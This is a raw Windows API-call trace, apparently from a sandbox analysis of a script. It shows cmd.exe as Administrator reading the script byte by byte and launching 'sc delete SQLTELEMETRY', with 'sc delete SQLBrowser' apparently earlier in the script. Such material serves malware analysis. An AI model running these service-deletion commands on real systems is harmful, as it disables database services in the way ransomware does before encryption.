hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLBrowser\nENT\n\nce\n") returned 1 [0064.685] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.685] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.685] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLBrowser\nENT\n\nce\n") returned 1 [0064.685] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.685] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.685] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te SQLBrowser\nENT\n\nce\n") returned 1 [0064.685] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.685] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.685] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e SQLBrowser\nENT\n\nce\n") returned 1 [0064.685] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.685] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.686] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" SQLBrowser\nENT\n\nce\n") returned 1 [0064.686] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.686] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.686] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="SQLBrowser\nENT\n\nce\n") returned 1 [0064.686] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.686] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.686] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="QLBrowser\nENT\n\nce\n") returned 1 [0064.686] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.686] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.686] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.686] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="LBrowser\nENT\n\nce\n") returned 1 [0064.686] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.686] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.686] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="Trowser\nENT\n\nce\n") returned 1 [0064.687] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.687] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.687] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Eowser\nENT\n\nce\n") returned 1 [0064.687] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.687] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.687] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Lwser\nENT\n\nce\n") returned 1 [0064.687] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.687] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.687] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="Eser\nENT\n\nce\n") returned 1 [0064.687] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.687] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.687] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Mer\nENT\n\nce\n") returned 1 [0064.687] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.687] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.687] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.687] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="Er\nENT\n\nce\n") returned 1 [0064.687] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.687] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.688] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="T\nENT\n\nce\n") returned 1 [0064.688] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.688] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.688] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="RENT\n\nce\n") returned 1 [0064.688] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.688] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.688] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="YNT\n\nce\n") returned 1 [0064.688] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.688] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.688] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.688] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="\nT\n\nce\n") returned 1 [0064.688] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.688] GetFileType (hFile=0xb8) returned 0x3 [0064.688] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.688] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.688] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.688] GetFileType (hFile=0x120) returned 0x3 [0064.688] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLTELEMETRY\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLTELEMETRY\n", lpUsedDefaultChar=0x0) returned 24 [0064.689] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x17, lpOverlapped=0x0) returned 1 [0064.689] GetProcessHeap () returned 0x1b0000 [0064.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d6630 [0064.689] GetProcessHeap () returned 0x1b0000 [0064.689] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6630 | out: hHeap=0x1b0000) returned 1 [0064.689] GetProcessHeap () returned 0x1b0000 [0064.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0064.689] GetProcessHeap () returned 0x1b0000 [0064.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0064.689] GetProcessHeap () returned 0x1b0000 [0064.689] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3a) returned 0x1caa40 [0064.689] GetConsoleOutputCP () returned 0x1b5 [0064.689] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.689] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.690] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.690] GetProcessHeap () returned 0x1b0000 [0064.690] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0064.690] GetProcessHeap () returned 0x1b0000 [0064.690] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x40) returned 0x1caa90 [0064.690] GetProcessHeap () returned 0x1b0000 [0064.690] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc5b0 [0064.690] SetErrorMode (uMode=0x0) returned 0x1 [0064.690] SetErrorMode (uMode=0x1) returned 0x0 [0064.690] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5c0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0064.690] SetErrorMode (uMode=0x1) returned 0x1 [0064.690] GetProcessHeap () returned 0x1b0000 [0064.690] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc5b0, Size=0x62) returned 0x1cc5b0 [0064.690] GetProcessHeap () returned 0x1b0000 [0064.690] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc5b0) returned 0x62 [0064.690] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.690] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.690] GetProcessHeap () returned 0x1b0000 [0064.690] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0064.690] GetProcessHeap () returned 0x1b0000 [0064.691] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0064.691] GetProcessHeap () returned 0x1b0000 [0064.691] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0064.691] GetProcessHeap () returned 0x1b0000 [0064.691] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0064.691] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.691] GetProcessHeap () returned 0x1b0000 [0064.691] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0064.691] GetProcessHeap () returned 0x1b0000 [0064.691] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0064.691] GetProcessHeap () returned 0x1b0000 [0064.691] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0064.691] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.691] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.691] GetLastError () returned 0x2 [0064.691] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.692] GetLastError () returned 0x2 [0064.692] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.692] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.692] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.692] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.692] GetLastError () returned 0x2 [0064.692] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.692] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.692] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.692] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.692] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.693] GetProcessHeap () returned 0x1b0000 [0064.693] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0064.693] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.693] GetProcessHeap () returned 0x1b0000 [0064.693] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa6) returned 0x1c9180 [0064.693] GetProcessHeap () returned 0x1b0000 [0064.693] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa6 [0064.693] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLTELEMETRY") returned 1 [0064.694] GetProcessHeap () returned 0x1b0000 [0064.694] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0064.694] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0064.694] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0064.694] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0064.694] GetProcessHeap () returned 0x1b0000 [0064.694] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.694] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.695] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.695] GetProcessHeap () returned 0x1b0000 [0064.695] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0064.695] GetProcessHeap () returned 0x1b0000 [0064.695] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0064.695] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLTELEMETRY", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLTELEMETRY", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete SQLTELEMETRY", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x998, dwThreadId=0x9a8)) returned 1 [0064.699] CloseHandle (hObject=0x50) returned 1 [0064.699] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.699] GetProcessHeap () returned 0x1b0000 [0064.699] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0064.699] 